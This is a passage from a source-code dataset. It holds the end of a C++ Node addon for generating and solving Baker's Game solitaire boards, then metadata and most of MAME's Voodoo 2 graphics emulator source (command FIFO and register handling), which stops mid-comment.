passedNum; } // Make sure the seed value is valid - or pick a random one from the list seedVal = validateSeedValue(ST_BAKERS_GAME_EASY, seedVal); // Create the board CSB_BakersGame *pBoard = (CSB_BakersGame*) CSolitaireBoard::CreateBoard(ST_BAKERS_GAME_EASY); if ((CSB_BakersGame*) 0x0 == pBoard) { throw(1); } srand(seedVal); pBoard->InitRandomBoard(); // Convert to a JSON representation if (0 >= convertBoardToJSON(seedVal, pBoard, pBuffer, OUTPUT_BUFFER_ALLOCATION)) { throw(3); } } catch (const int e) { memset(pBuffer, 0x0, OUTPUT_BUFFER_ALLOCATION); sprintf(pBuffer, "{ \"errorcode\" : %d, \"errormsg\" : \"%s\" }", e, ERROR_MESSAGES[e]); } // Set the return value args.GetReturnValue().Set(String::NewFromUtf8(isolate, (char*) pBuffer).ToLocalChecked()); // Free resources delete[] pBuffer; pBuffer = (char*) 0x0; } void Method_BF_BakersGame_SolveBoard(const FunctionCallbackInfo<Value> &args) { // Get the program arguments Isolate *isolate = args.GetIsolate(); Local<v8::Context> context = v8::Context::New(isolate); // Other variables CSolitaireBoard *pBoard = (CSolitaireBoard*) 0x0; v8::Local<v8::Value> emptyValue; // Attempt to allocate space for the return message char *pBuffer = new char[OUTPUT_BUFFER_ALLOCATION]; if ((char*) 0x0 == pBuffer) { args.GetReturnValue().Set(String::NewFromUtf8(isolate, (char*) MEMORY_ALLOCATION_FAILURE).ToLocalChecked()); return; } // Wrap it try { // Have enough arguments been provided? if (args.Length() < 4) throw(5); // Has a game type been provided? unsigned char inputType[100 + 1]; memset(inputType, 0x0, sizeof(inputType)); Local<v8::String> argGameType = args[0].As<String>(); argGameType->WriteOneByte(isolate, inputType, 0, 100); SOLITAIRE_T gameType = convertTextToGameType((const char*) inputType); // Has a foundation been provided? std::vector<std::string> vctFoundation; if (!args[1]->IsArray()) throw(5); Local<Array> arrFoundation = Local<Array>::Cast(args[1]); if (arrFoundation->Length() != 4) throw(6); for (int nFnd = 0; 4 > nFnd; ++nFnd) { std::string value = extractStringFromV8Array(isolate, context, arrFoundation, nFnd); vctFoundation.push_back(value); } // Has reserve been provided? std::vector<std::string> vctReserve; if (!args[2]->IsArray()) throw(5); Local<Array> arrReserve = Local<Array>::Cast(args[2]); if (arrReserve->Length() != 4) throw(7); for (int nRsv = 0; 4 > nRsv; ++nRsv) { std::string value = extractStringFromV8Array(isolate, context, arrReserve, nRsv); vctReserve.push_back(value); } // Has tableau been provided? std::vector<std::vector<std::string>> vctTableau; if (!args[3]->IsArray()) throw(5); Local<Array> arrTableau = Local<Array>::Cast(args[3]); for (unsigned int nRow = 0; arrTableau->Length() > nRow; ++nRow) { // This value must be an array with 8 items v8::MaybeLocal<v8::Value> maybeRow = arrTableau->Get(context, nRow); // @suppress("Invalid arguments") if (maybeRow.IsEmpty()) throw(8); v8::Local<v8::Value> localRow = maybeRow.FromMaybe(emptyValue); if (!localRow->IsArray()) throw(8); v8::Local<v8::Array> aRow = v8::Local<v8::Array>::Cast(localRow); if (aRow->Length() != 8) throw(8); // Go through the array and make a vector std::vector<std::string> vctRow; for (int nCol = 0; 8 > nCol; ++nCol) { std::string value = extractStringFromV8Array(isolate, context, aRow, nCol); vctRow.push_back(value); } vctTableau.push_back(vctRow); } // endfor loop over tableau // Now make that board pBoard = convertStringsToBoard(gameType, vctFoundation, vctReserve, vctTableau); if ((CSolitaireBoard*) 0x0 == pBoard) throw(9); // Check the board validity if( !validateCardsAndBoard( pBoard)) { throw(10); } // Call for a solution bool timeout = false; LST_MOVES lstMoves = findOrSolveBoard(pBoard, &timeout); if( timeout) { throw(12); } else if (0 >= convertMovesToJSON(lstMoves, pBuffer, OUTPUT_BUFFER_ALLOCATION)) { throw(11); } } catch (const int e) { memset(pBuffer, 0x0, OUTPUT_BUFFER_ALLOCATION); sprintf(pBuffer, "{ \"errorcode\" : %d, \"errormsg\" : \"%s\" }", e, ERROR_MESSAGES[e]); } // Set the return value args.GetReturnValue().Set(String::NewFromUtf8(isolate, (char*) pBuffer).ToLocalChecked()); // Free resources delete[] pBuffer; pBuffer = (char*) 0x0; if ((CSolitaireBoard*) 0x0 != pBoard) { delete pBoard; pBoard = (CSolitaireBoard*) 0x0; } } void Initialize(Local<Object> exports) { NODE_SET_METHOD(exports, "Method_BF_BakersGameEasy_GetBoard", Method_BF_BakersGameEasy_GetBoard); NODE_SET_METHOD(exports, "Method_BF_BakersGame_SolveBoard", Method_BF_BakersGame_SolveBoard); } NODE_MODULE(NODE_GYP_MODULE_NAME, Initialize) } // namespace Lambda_BakersGame
30.294776
114
0.697377
[ "object", "vector" ]
6cd34433bffba37788861903cd305fdffb2345ad
69,682
cpp
C++
src/devices/video/voodoo_2.cpp
Robbbert/messui
49b756e2140d8831bc81335298ee8c5471045e79
[ "BSD-3-Clause" ]
26
2015-03-31T06:25:51.000Z
2021-12-14T09:29:04.000Z
src/devices/video/voodoo_2.cpp
Robbbert/messui
49b756e2140d8831bc81335298ee8c5471045e79
[ "BSD-3-Clause" ]
null
null
null
src/devices/video/voodoo_2.cpp
Robbbert/messui
49b756e2140d8831bc81335298ee8c5471045e79
[ "BSD-3-Clause" ]
10
2015-03-27T05:45:51.000Z
2022-02-04T06:57:36.000Z
// license:BSD-3-Clause // copyright-holders:Aaron Giles /*************************************************************************** voodoo_2.c 3dfx Voodoo Graphics SST-1/2 emulator. **************************************************************************** Specs: Voodoo 2: 2,4MB frame buffer RAM 2,4,8,16MB texture RAM 90MHz clock frquency clears @ 2 pixels/clock (RGB and depth simultaneously) renders @ 1 pixel/clock ultrafast clears @ 16 pixels/clock 128 entry PCI FIFO memory FIFO up to 65536 entries **************************************************************************/ #include "emu.h" #include "voodoo_2.h" using namespace voodoo; //************************************************************************** // COMMAND FIFO //************************************************************************** //------------------------------------------------- // command_fifo - constructor //------------------------------------------------- command_fifo::command_fifo(voodoo_2_device &device) : m_device(device), m_ram(nullptr), m_mask(0), m_enable(false), m_count_holes(false), m_ram_base(0), m_ram_end(0), m_read_index(0), m_address_min(0), m_address_max(0), m_depth(0), m_holes(0) { } //------------------------------------------------- // register_save - register for save states //------------------------------------------------- void command_fifo::register_save(save_proxy &save) { save.save_item(NAME(m_enable)); save.save_item(NAME(m_count_holes)); save.save_item(NAME(m_ram_base)); save.save_item(NAME(m_ram_end)); save.save_item(NAME(m_read_index)); save.save_item(NAME(m_address_min)); save.save_item(NAME(m_address_max)); save.save_item(NAME(m_depth)); save.save_item(NAME(m_holes)); } //------------------------------------------------- // execute_if_ready - execute everything we have // the data for, until we encounter an operation // that consumes a non-zero number of cycles //------------------------------------------------- u32 command_fifo::execute_if_ready() { while (1) { // all CMDFIFO commands need at least one word if (m_depth == 0) return 0; // see if we have enough for the current command u32 const needed_depth = words_needed(peek_next()); if (m_depth < needed_depth) return 0; // read the next command and handle it based on the low 3 bits u32 command = read_next(); u32 cycles = (this->*s_packet_handler[BIT(command, 0, 3)])(command); // if the number of cycles is non-zero, return if (cycles > 0) return cycles; } } //------------------------------------------------- // write - handle a write to the FIFO //------------------------------------------------- void command_fifo::write(offs_t addr, u32 data) { if (LOG_CMDFIFO_VERBOSE) m_device.logerror("CMDFIFO_w(%04X) = %08X\n", addr, data); // write the data if it's within range if (addr < m_ram_end) m_ram[(addr / 4) & m_mask] = data; // count holes? if (m_count_holes) { // in-order, no holes if (m_holes == 0 && addr == m_address_min + 4) { m_address_min = m_address_max = addr; m_depth++; } // out-of-order, below the minimum else if (addr < m_address_min) { if (m_holes != 0) m_device.logerror("Unexpected CMDFIFO: AMin=%08X AMax=%08X Holes=%d WroteTo:%08X\n", m_address_min, m_address_max, m_holes, addr); m_holes += (addr - m_ram_base) / 4; m_address_min = m_ram_base; m_address_max = addr; m_depth++; } // out-of-order, but within the min-max range else if (addr < m_address_max) { m_holes--; if (m_holes == 0) { m_depth += (m_address_max - m_address_min) / 4; m_address_min = m_address_max; } } // out-of-order, bumping max else { m_holes += (addr - m_address_max) / 4 - 1; m_address_max = addr; } } // execute if we can if (!m_device.operation_pending()) { s32 cycles = execute_if_ready(); if (cycles > 0) { attotime curtime = m_device.machine().time(); m_device.m_operation_end = curtime + m_device.clocks_to_attotime(cycles); if (LOG_FIFO_VERBOSE) m_device.logerror("VOODOO.FIFO:direct write start at %s end at %s\n", curtime.as_string(18), m_device.m_operation_end.as_string(18)); } } } //------------------------------------------------- // words_needed - return the total number of // words needed for the given command and all its // parameters //------------------------------------------------- u32 command_fifo::words_needed(u32 command) { // low 3 bits specify the packet type switch (BIT(command, 0, 3)) { case 0: // Packet type 0: 1 or 2 words // // Word Bits // 0 31:29 = reserved // 0 28:6 = Address [24:2] // 0 5:3 = Function (0 = NOP, 1 = JSR, 2 = RET, 3 = JMP LOCAL, 4 = JMP AGP) // 0 2:0 = Packet type (0) return (BIT(command, 3, 3) == 4) ? 2 : 1; case 1: // Packet type 1: 1 + N words // // Word Bits // 0 31:16 = Number of words // 0 15 = Increment? // 0 14:3 = Register base // 0 2:0 = Packet type (1) return 1 + BIT(command, 16, 16); case 2: // Packet type 2: 1 + N words // // Word Bits // 0 31:3 = 2D Register mask // 0 2:0 = Packet type (2) return 1 + population_count_32(BIT(command, 3, 29)); case 3: { // Packet type 3: 1 + N words // // Word Bits // 0 31:29 = Number of dummy entries following the data // 0 28 = Packed color data? // 0 25 = Disable ping pong sign correction (0=normal, 1=disable) // 0 24 = Culling sign (0=positive, 1=negative) // 0 23 = Enable culling (0=disable, 1=enable) // 0 22 = Strip mode (0=strip, 1=fan) // 0 17 = Setup S1 and T1 // 0 16 = Setup W1 // 0 15 = Setup S0 and T0 // 0 14 = Setup W0 // 0 13 = Setup Wb // 0 12 = Setup Z // 0 11 = Setup Alpha // 0 10 = Setup RGB // 0 9:6 = Number of vertices // 0 5:3 = Command (0=Independent tris, 1=Start new strip, 2=Continue strip) // 0 2:0 = Packet type (3) // determine words per vertex u32 count = 2; // X/Y if (BIT(command, 28)) count += (BIT(command, 10, 2) != 0) ? 1 : 0; // ARGB in one word else count += 3 * BIT(command, 10) + BIT(command, 11); // RGB + A count += BIT(command, 12); // Z count += BIT(command, 13); // Wb count += BIT(command, 14); // W0 count += 2 * BIT(command, 15); // S0/T0 count += BIT(command, 16); // W1 count += 2 * BIT(command, 17); // S1/T1 // multiply by the number of verticies count *= BIT(command, 6, 4); return 1 + count + BIT(command, 29, 3); } case 4: // Packet type 4: 1 + N words // // Word Bits // 0 31:29 = Number of dummy entries following the data // 0 28:15 = General register mask // 0 14:3 = Register base // 0 2:0 = Packet type (4) return 1 + population_count_32(BIT(command, 15, 14)) + BIT(command, 29, 3); case 5: // Packet type 5: 2 + N words // // Word Bits // 0 31:30 = Space (0,1=reserved, 2=LFB, 3=texture) // 0 29:26 = Byte disable W2 // 0 25:22 = Byte disable WN // 0 21:3 = Num words // 0 2:0 = Packet type (5) return 2 + BIT(command, 3, 19); default: m_device.logerror("cmdfifo unknown packet type %d\n", command & 7); return 1; } } //------------------------------------------------- // packet_type_0 - handle FIFO packet type 0 //------------------------------------------------- u32 command_fifo::packet_type_0(u32 command) { // Packet type 0: 1 or 2 words // // Word Bits // 0 31:29 = reserved // 0 28:6 = Address [24:2] // 0 5:3 = Function (0 = NOP, 1 = JSR, 2 = RET, 3 = JMP LOCAL, 4 = JMP AGP) // 0 2:0 = Packet type (0) // 1 31:11 = reserved (JMP AGP only) // 1 10:0 = Address [35:25] u32 target = BIT(command, 6, 23) << 2; // switch off of the specific command; many are unimplemented until we // see them in real life switch (BIT(command, 3, 3)) { case 0: // NOP if (LOG_CMDFIFO) m_device.logerror(" NOP\n"); break; case 1: // JSR if (LOG_CMDFIFO) m_device.logerror(" JSR $%06X\n", target); m_device.logerror("cmdFifo: Unsupported JSR"); break; case 2: // RET if (LOG_CMDFIFO) m_device.logerror(" RET $%06X\n", target); m_device.logerror("cmdFifo: Unsupported RET"); break; case 3: // JMP LOCAL FRAME BUFFER if (LOG_CMDFIFO) m_device.logerror(" JMP LOCAL FRAMEBUF $%06X\n", target); m_read_index = target / 4; break; case 4: // JMP AGP if (LOG_CMDFIFO) m_device.logerror(" JMP AGP $%06X\n", target); m_device.logerror("cmdFifo: Unsupported JMP AGP"); break; default: m_device.logerror("cmdFifo: Invalid jump command %d", BIT(command, 3, 3)); break; } return 0; } //------------------------------------------------- // packet_type_1 - handle FIFO packet type 1 //------------------------------------------------- u32 command_fifo::packet_type_1(u32 command) { // Packet type 1: 1 + N words // // Word Bits // 0 31:16 = Number of words // 0 15 = Increment? // 0 14:3 = Register base // 0 2:0 = Packet type (1) // 1 31:0 = Data word u32 count = BIT(command, 16, 16); u32 inc = BIT(command, 15); u32 target = BIT(command, 3, 12); if (LOG_CMDFIFO) m_device.logerror(" PACKET TYPE 1: count=%d inc=%d reg=%04X\n", count, inc, target); // loop over all registers and write them one at a time u32 cycles = 0; for (u32 regbit = 0; regbit < count; regbit++, target += inc) cycles += m_device.cmdfifo_register_w(target, read_next()); return cycles; } //------------------------------------------------- // packet_type_2 - handle FIFO packet type 2 //------------------------------------------------- u32 command_fifo::packet_type_2(u32 command) { // Packet type 2: 1 + N words // // Word Bits // 0 31:3 = 2D Register mask // 0 2:0 = Packet type (2) // 1 31:0 = Data word if (LOG_CMDFIFO) m_device.logerror(" PACKET TYPE 2: mask=%X\n", BIT(command, 3, 29)); // loop over all registers and write them one at a time u32 cycles = 0; for (u32 regbit = 3; regbit <= 31; regbit++) if (BIT(command, regbit)) cycles += m_device.cmdfifo_2d_w(regbit - 3, read_next()); return cycles; } //------------------------------------------------- // packet_type_3 - handle FIFO packet type 3 //------------------------------------------------- u32 command_fifo::packet_type_3(u32 command) { // Packet type 3: 1 + N words // // Word Bits // 0 31:29 = Number of dummy entries following the data // 0 28 = Packed color data? // 0 25 = Disable ping pong sign correction (0=normal, 1=disable) // 0 24 = Culling sign (0=positive, 1=negative) // 0 23 = Enable culling (0=disable, 1=enable) // 0 22 = Strip mode (0=strip, 1=fan) // 0 17 = Setup S1 and T1 // 0 16 = Setup W1 // 0 15 = Setup S0 and T0 // 0 14 = Setup W0 // 0 13 = Setup Wb // 0 12 = Setup Z // 0 11 = Setup Alpha // 0 10 = Setup RGB // 0 9:6 = Number of vertices // 0 5:3 = Command (0=Independent tris, 1=Start new strip, 2=Continue strip) // 0 2:0 = Packet type (3) // 1 31:0 = Data word u32 count = BIT(command, 6, 4); u32 code = BIT(command, 3, 3); if (LOG_CMDFIFO) m_device.logerror(" PACKET TYPE 3: count=%d code=%d mask=%03X smode=%02X pc=%d\n", count, code, BIT(command, 10, 12), BIT(command, 22, 6), BIT(command, 28)); // copy relevant bits into the setup mode register m_device.m_reg.write(voodoo_regs::reg_sSetupMode, BIT(command, 10, 8) | (BIT(command, 22, 4) << 16)); // loop over triangles setup_vertex svert = { 0 }; u32 cycles = 0; for (u32 trinum = 0; trinum < count; trinum++) { // always extract X/Y svert.x = read_next_float(); svert.y = read_next_float(); // load ARGB values if (BIT(command, 28)) { // packed form if (BIT(command, 10, 2) != 0) { rgb_t argb = read_next(); if (BIT(command, 10)) { svert.r = argb.r(); svert.g = argb.g(); svert.b = argb.b(); } if (BIT(command, 11)) svert.a = argb.a(); } } else { // unpacked form if (BIT(command, 10)) { svert.r = read_next_float(); svert.g = read_next_float(); svert.b = read_next_float(); } if (BIT(command, 11)) svert.a = read_next_float(); } // load Z and Wb values if (BIT(command, 12)) svert.z = read_next_float(); if (BIT(command, 13)) svert.wb = svert.w0 = svert.w1 = read_next_float(); // load W0, S0, T0 values if (BIT(command, 14)) svert.w0 = svert.w1 = read_next_float(); if (BIT(command, 15)) { svert.s0 = svert.s1 = read_next_float(); svert.t0 = svert.t1 = read_next_float(); } // load W1, S1, T1 values if (BIT(command, 16)) svert.w1 = read_next_float(); if (BIT(command, 17)) { svert.s1 = read_next_float(); svert.t1 = read_next_float(); } // if we're starting a new strip, or if this is the first of a set of verts // for a series of individual triangles, initialize all the verts if ((code == 1 && trinum == 0) || (code == 0 && trinum % 3 == 0)) { m_device.m_sverts = 1; m_device.m_svert[0] = m_device.m_svert[1] = m_device.m_svert[2] = svert; } // otherwise, add this to the list else { // for strip mode, shuffle vertex 1 down to 0 if (!BIT(command, 22)) m_device.m_svert[0] = m_device.m_svert[1]; // copy 2 down to 1 and add our new one regardless m_device.m_svert[1] = m_device.m_svert[2]; m_device.m_svert[2] = svert; // if we have enough, draw if (++m_device.m_sverts >= 3) cycles += m_device.setup_and_draw_triangle(); } } // account for the extra dummy words consume(BIT(command, 29, 3)); return cycles; } //------------------------------------------------- // packet_type_4 - handle FIFO packet type 4 //------------------------------------------------- u32 command_fifo::packet_type_4(u32 command) { // Packet type 4: 1 + N words // // Word Bits // 0 31:29 = Number of dummy entries following the data // 0 28:15 = General register mask // 0 14:3 = Register base // 0 2:0 = Packet type (4) // 1 31:0 = Data word u32 target = BIT(command, 3, 12); if (LOG_CMDFIFO) m_device.logerror(" PACKET TYPE 4: mask=%X reg=%04X pad=%d\n", BIT(command, 15, 14), target, BIT(command, 29, 3)); // loop over all registers and write them one at a time u32 cycles = 0; for (u32 regbit = 15; regbit <= 28; regbit++, target++) if (BIT(command, regbit)) cycles += m_device.cmdfifo_register_w(target, read_next()); // account for the extra dummy words consume(BIT(command, 29, 3)); return cycles; } //------------------------------------------------- // packet_type_5 - handle FIFO packet type 5 //------------------------------------------------- u32 command_fifo::packet_type_5(u32 command) { // Packet type 5: 2 + N words // // Word Bits // 0 31:30 = Space (0,1=reserved, 2=LFB, 3=texture) // 0 29:26 = Byte disable W2 // 0 25:22 = Byte disable WN // 0 21:3 = Num words // 0 2:0 = Packet type (5) // 1 31:30 = Reserved // 1 29:0 = Base address [24:0] // 2 31:0 = Data word u32 count = BIT(command, 3, 19); u32 target = read_next() / 4; // handle LFB writes switch (BIT(command, 30, 2)) { // Linear FB case 0: if (LOG_CMDFIFO) m_device.logerror(" PACKET TYPE 5: FB count=%d dest=%08X bd2=%X bdN=%X\n", count, target, BIT(command, 26, 4), BIT(command, 22, 4)); m_device.renderer().wait("packet_type_5(0)"); for (u32 word = 0; word < count; word++) m_ram[target++ & m_mask] = little_endianize_int32(read_next()); break; // 3D LFB case 2: if (LOG_CMDFIFO) m_device.logerror(" PACKET TYPE 5: 3D LFB count=%d dest=%08X bd2=%X bdN=%X\n", count, target, BIT(command, 26, 4), BIT(command, 22, 4)); for (u32 word = 0; word < count; word++) m_device.internal_lfb_w(target++, read_next(), 0xffffffff); break; // Planar YUV case 1: if (LOG_CMDFIFO) m_device.logerror(" PACKET TYPE 5: Planar YUV count=%d dest=%08X bd2=%X bdN=%X\n", count, target, BIT(command, 26, 4), BIT(command, 22, 4)); fatalerror("%s: Unsupported planar YUV write via cmdFifo", m_device.tag()); break; // Texture port case 3: if (LOG_CMDFIFO) m_device.logerror(" PACKET TYPE 5: textureRAM count=%d dest=%08X bd2=%X bdN=%X\n", count, target, BIT(command, 26, 4), BIT(command, 22, 4)); for (u32 word = 0; word < count; word++) m_device.internal_texture_w(target++, read_next()); break; } return 0; } //------------------------------------------------- // packet_type_unknown - error out on unhandled // packets //------------------------------------------------- u32 command_fifo::packet_type_unknown(u32 command) { fatalerror("%s: Unsupported cmdFifo packet type %d\n", m_device.tag(), BIT(command, 0, 3)); } //------------------------------------------------- // s_packet_handler - static array of pointers to // handler functions //------------------------------------------------- command_fifo::packet_handler command_fifo::s_packet_handler[8] = { &command_fifo::packet_type_0, &command_fifo::packet_type_1, &command_fifo::packet_type_2, &command_fifo::packet_type_3, &command_fifo::packet_type_4, &command_fifo::packet_type_5, &command_fifo::packet_type_unknown, &command_fifo::packet_type_unknown }; //************************************************************************** // VOODOO 2 DEVICE //************************************************************************** //------------------------------------------------- // voodoo_2_device - constructor //------------------------------------------------- DEFINE_DEVICE_TYPE(VOODOO_2, voodoo_2_device, "voodoo_2", "3dfx Voodoo 2") voodoo_2_device::voodoo_2_device(const machine_config &mconfig, device_type type, const char *tag, device_t *owner, u32 clock, voodoo_model model) : voodoo_1_device(mconfig, type, tag, owner, clock, model), m_sverts(0), m_cmdfifo(*this) { for (int index = 0; index < std::size(m_regtable); index++) m_regtable[index].unpack(s_register_table[index], *this); } //------------------------------------------------- // core_map - device map for core memory access //------------------------------------------------- void voodoo_2_device::core_map(address_map &map) { // Voodoo-2 memory map: // // cmdfifo = fbi_init7().cmdfifo_enable() // // 00ab----`--ccccrr`rrrrrr-- Register access (if cmdfifo == 0) // a = alternate register map if fbi_init3().tri_register_remap() // b = byte swizzle data if fbi_init0().swizzle_reg_writes() // c = chip mask select // r = register index ($00-$FF) // 000-----`------rr`rrrrrr-- Register access (if cmdfifo == 1) // r = register index ($00-$FF) // 001--boo`oooooooo`oooooo-- CMDFifo write (if cmdfifo == 1) // b = byte swizzle data // o = cmdfifo offset // 01-yyyyy`yyyyyxxx`xxxxxxx- Linear frame buffer access (16-bit) // 01yyyyyy`yyyyxxxx`xxxxxx-- Linear frame buffer access (32-bit) // 1-ccllll`tttttttt`sssssss- Texture memory access, where: // c = chip mask select // l = LOD // t = Y index // s = X index // map(0x000000, 0x3fffff).rw(FUNC(voodoo_2_device::map_register_r), FUNC(voodoo_2_device::map_register_w)); map(0x400000, 0x7fffff).rw(FUNC(voodoo_2_device::map_lfb_r), FUNC(voodoo_2_device::map_lfb_w)); map(0x800000, 0xffffff).w(FUNC(voodoo_2_device::map_texture_w)); } //------------------------------------------------- // read - generic read handler until everyone is // using the memory map //------------------------------------------------- u32 voodoo_2_device::read(offs_t offset, u32 mem_mask) { switch (offset >> (22-2)) { case 0x000000 >> 22: return map_register_r(offset); case 0x400000 >> 22: return map_lfb_r(offset - 0x400000/4); default: return 0xffffffff; } } //------------------------------------------------- // write - generic write handler until everyone is // using the memory map //------------------------------------------------- void voodoo_2_device::write(offs_t offset, u32 data, u32 mem_mask) { switch (offset >> (22-2)) { case 0x000000 >> 22: map_register_w(offset, data, mem_mask); break; case 0x400000 >> 22: map_lfb_w(offset - 0x400000/4, data, mem_mask); break; case 0x800000 >> 22: case 0xc00000 >> 22: map_texture_w(offset - 0x800000/4, data, mem_mask); break; } } //------------------------------------------------- // device_start - device startup //------------------------------------------------- void voodoo_2_device::device_start() { // start like a Voodoo-1 voodoo_1_device::device_start(); // fogDelta skips the low 2 bits m_renderer->set_fogdelta_mask(0xfc); // bilinear is full resolution m_renderer->set_bilinear_mask(0xff); // TMU configuration has an extra bit m_renderer->set_tmu_config(m_renderer->tmu_config() | 0x800); // initialize Voodoo 2 additions m_sverts = 0; m_cmdfifo.init(m_fbram, m_fbmask + 1); } //------------------------------------------------- // map_register_w - handle a mapped write to // regular register space //------------------------------------------------- void voodoo_2_device::map_register_w(offs_t offset, u32 data, u32 mem_mask) { bool pending = prepare_for_write(); // handle cmdfifo writes if (BIT(offset, 21-2) && m_reg.fbi_init7().cmdfifo_enable()) { // check for byte swizzling (bit 18) if (BIT(offset, 18-2)) data = swapendian_int32(data); m_cmdfifo.write_direct(BIT(offset, 0, 16), data); return; } // extract chipmask and register u32 chipmask = chipmask_from_offset(offset); u32 regnum = BIT(offset, 0, 8); // handle register swizzling if (BIT(offset, 20-2) && m_reg.fbi_init0().swizzle_reg_writes()) data = swapendian_int32(data); // handle aliasing if (BIT(offset, 21-2) && m_reg.fbi_init3().tri_register_remap()) regnum = voodoo_regs::alias(regnum); // look up the register auto const &regentry = m_regtable[regnum]; // if this is non-FIFO command, execute immediately if (!regentry.is_fifo()) return void(regentry.write(*this, chipmask, regnum, data)); // track swap buffers if (regnum == voodoo_regs::reg_swapbufferCMD) m_swaps_pending++; // if cmdfifo is enabled, ignore everything else if (m_reg.fbi_init7().cmdfifo_enable()) { logerror("Ignoring write to %s when CMDFIFO is enabled\n", regentry.name()); return; } // if we're busy add to the fifo if (pending && m_init_enable.enable_pci_fifo()) return add_to_fifo(memory_fifo::TYPE_REGISTER | (chipmask << 8) | regnum, data, mem_mask); // if we get a non-zero number of cycles back, mark things pending int cycles = regentry.write(*this, chipmask, regnum, data); if (cycles > 0) { m_operation_end = machine().time() + clocks_to_attotime(cycles); if (LOG_FIFO_VERBOSE) logerror("VOODOO.FIFO:direct write start at %s end at %s\n", machine().time().as_string(18), m_operation_end.as_string(18)); } } //------------------------------------------------- // soft_reset - handle reset when initiated by // a register write //------------------------------------------------- void voodoo_2_device::soft_reset() { voodoo_1_device::soft_reset(); m_cmdfifo.set_enable(0); } //------------------------------------------------- // register_save - register for save states //------------------------------------------------- void voodoo_2_device::register_save(save_proxy &save, u32 total_allocation) { voodoo_1_device::register_save(save, total_allocation); // Voodoo 2 stuff save.save_item(NAME(m_sverts)); save.save_class(NAME(m_svert[0])); save.save_class(NAME(m_svert[1])); save.save_class(NAME(m_svert[2])); save.save_class(NAME(m_cmdfifo)); } //------------------------------------------------- // execute_fifos - execute commands from the FIFOs // until a non-zero cycle count operation is run //------------------------------------------------- u32 voodoo_2_device::execute_fifos() { // we might be in CMDFIFO mode if (m_cmdfifo.enabled()) return m_cmdfifo.execute_if_ready(); // otherwise, run the traditional memory FIFOs return voodoo_1_device::execute_fifos(); } //------------------------------------------------- // reg_hvretrace_r - hvRetrace register read //------------------------------------------------- u32 voodoo_2_device::reg_hvretrace_r(u32 chipmask, u32 regnum) { // return 0 for vertical if vblank is active u32 result = m_vblank ? 0 : screen().vpos(); return result |= screen().hpos() << 16; } //------------------------------------------------- // reg_cmdfifoptr_r - cmdFifoRdPtr register read //------------------------------------------------- u32 voodoo_2_device::reg_cmdfifoptr_r(u32 chipmask, u32 regnum) { return m_cmdfifo.read_pointer(); } //------------------------------------------------- // reg_cmdfifodepth_r - cmdFifoDepth register read //------------------------------------------------- u32 voodoo_2_device::reg_cmdfifodepth_r(u32 chipmask, u32 regnum) { return m_cmdfifo.depth(); } //------------------------------------------------- // reg_cmdfifoholes_r - cmdFifoHoles register read //------------------------------------------------- u32 voodoo_2_device::reg_cmdfifoholes_r(u32 chipmask, u32 regnum) { return m_cmdfifo.holes(); } //------------------------------------------------- // reg_intrctrl_w - intrCtrl register write //------------------------------------------------- u32 voodoo_2_device::reg_intrctrl_w(u32 chipmask, u32 regnum, u32 data) { if (BIT(chipmask, 0)) { m_reg.write(regnum, data); // Setting bit 31 clears the PCI interrupts if (BIT(data, 31) && !m_pciint_cb.isnull()) m_pciint_cb(false); } return 0; } //------------------------------------------------- // reg_video2_w -- write to a video configuration // register; synchronize then recompute everything //------------------------------------------------- u32 voodoo_2_device::reg_video2_w(u32 chipmask, u32 regnum, u32 data) { if (BIT(chipmask, 0)) { m_renderer->wait("reg_video2_w"); m_reg.write(regnum, data); auto const hsync = m_reg.hsync<false>(); auto const vsync = m_reg.vsync<false>(); auto const back_porch = m_reg.back_porch<false>(); auto const video_dimensions = m_reg.video_dimensions<false>(); if (hsync.raw() != 0 && vsync.raw() != 0 && video_dimensions.raw() != 0 && back_porch.raw() != 0) { recompute_video_timing( hsync.hsync_on(), hsync.hsync_off(), video_dimensions.xwidth(), back_porch.horizontal() + 2, vsync.vsync_on(), vsync.vsync_off(), video_dimensions.yheight(), back_porch.vertical()); } } return 0; } //------------------------------------------------- // reg_sargb_w -- sARGB register write //------------------------------------------------- u32 voodoo_2_device::reg_sargb_w(u32 chipmask, u32 regnum, u32 data) { rgb_t rgbdata(data); // expand ARGB values into their float registers m_reg.write_float(voodoo_regs::reg_sAlpha, float(rgbdata.a())); m_reg.write_float(voodoo_regs::reg_sRed, float(rgbdata.r())); m_reg.write_float(voodoo_regs::reg_sGreen, float(rgbdata.g())); m_reg.write_float(voodoo_regs::reg_sBlue, float(rgbdata.b())); return 0; } //------------------------------------------------- // reg_userintr_w -- userIntr register write //------------------------------------------------- u32 voodoo_2_device::reg_userintr_w(u32 chipmask, u32 regnum, u32 data) { m_renderer->wait("reg_userintr_w"); // Bit 5 of intrCtrl enables user interrupts if (m_reg.intr_ctrl().user_interrupt_enable()) { // Bits 19:12 are set to cmd 9:2, bit 11 is user interrupt flag m_reg.clear_set(voodoo_regs::reg_intrCtrl, reg_intr_ctrl::EXTERNAL_PIN_ACTIVE | reg_intr_ctrl::USER_INTERRUPT_TAG_MASK, ((data << 10) & reg_intr_ctrl::USER_INTERRUPT_TAG_MASK) | reg_intr_ctrl::USER_INTERRUPT_GENERATED); // Signal pci interrupt handler if (!m_pciint_cb.isnull()) m_pciint_cb(true); } return 0; } //------------------------------------------------- // reg_cmdfifo_w -- general cmdFifo-related // register writes //------------------------------------------------- u32 voodoo_2_device::reg_cmdfifo_w(u32 chipmask, u32 regnum, u32 data) { if (BIT(chipmask, 0)) { m_renderer->wait("reg_cmdfifo_w"); m_reg.write(regnum, data); m_cmdfifo.set_base(BIT(m_reg.read(voodoo_regs::reg_cmdFifoBaseAddr), 0, 10) << 12); m_cmdfifo.set_end((BIT(m_reg.read(voodoo_regs::reg_cmdFifoBaseAddr), 16, 10) + 1) << 12); m_cmdfifo.set_address_min(m_reg.read(voodoo_regs::reg_cmdFifoAMin)); m_cmdfifo.set_address_max(m_reg.read(voodoo_regs::reg_cmdFifoAMax)); } return 0; } //------------------------------------------------- // reg_cmdfifoptr_w -- cmdFifoRdPtr register write //------------------------------------------------- u32 voodoo_2_device::reg_cmdfifoptr_w(u32 chipmask, u32 regnum, u32 data) { if (BIT(chipmask, 0)) { m_reg.write(regnum, data); m_cmdfifo.set_read_pointer(data); } return 0; } //------------------------------------------------- // reg_cmdfifodepth_w -- cmdFifoDepth register // write //------------------------------------------------- u32 voodoo_2_device::reg_cmdfifodepth_w(u32 chipmask, u32 regnum, u32 data) { if (BIT(chipmask, 0)) { m_reg.write(regnum, data); m_cmdfifo.set_depth(data); } return 0; } //------------------------------------------------- // reg_cmdfifoholes_w -- cmdFifoHoles register // write 